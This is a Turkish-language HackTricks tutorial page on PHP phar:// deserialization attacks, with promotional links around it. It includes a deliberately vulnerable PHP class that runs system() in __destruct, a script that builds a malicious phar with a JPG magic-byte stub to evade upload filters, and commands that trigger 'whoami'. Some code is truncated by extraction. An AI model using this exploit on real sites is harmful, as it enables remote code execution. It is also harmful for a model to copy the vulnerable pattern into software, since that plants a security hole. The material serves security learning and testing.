# phar:// deserialization
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Ödül avı ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan premium bir **ödül avı platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} **Phar** dosyaları (PHP Arşivi) **serileştirilmiş biçimde meta veri içerir**, bu nedenle ayrıştırıldığında bu **meta veri** **serileştirilir** ve **PHP** kodu içinde bir **serileştirme** zafiyetini kötüye kullanmaya çalışabilirsiniz. Bu özelliğin en iyi yanı, bu serileştirme işleminin **file\_get\_contents(), fopen(), file() veya file\_exists(), md5\_file(), filemtime() veya filesize()** gibi PHP kodunu değerlendirmeyen PHP işlevlerini kullanarak bile gerçekleşecek olmasıdır. Dolayısıyla, **`phar://`** protokolünü kullanarak bir PHP web sitesinin bir dosyanın boyutunu almasını sağlayabileceğiniz bir durumu hayal edin ve kod içinde aşağıdaki gibi bir **sınıf** bulursunuz: {% code title="vunl.php" %} ```php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` {% endcode %} **phar** dosyası oluşturabilirsiniz ve yüklendiğinde bu sınıfı kötüye kullanarak şöyle bir şey yapabilirsiniz: {% code title="create_phar.php" %} ```php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` {% endcode %} Not alınan dosyanın başına **JPG'nin sihirli baytları** (`\xff\xd8\xff`) eklenerek **mümkün olabilecek** dosya **yükleme** **kısıtlamaları** **atlatılır**.\ `test.phar` dosyasını şu şekilde **derleyin**: ```bash php --define phar.readonly=0 create_phar.php ``` Ve `whoami` komutunu kötü niyetli kodu istismar ederek çalıştırın: ```bash php vuln.php ``` ### Referanslar {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %}
Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.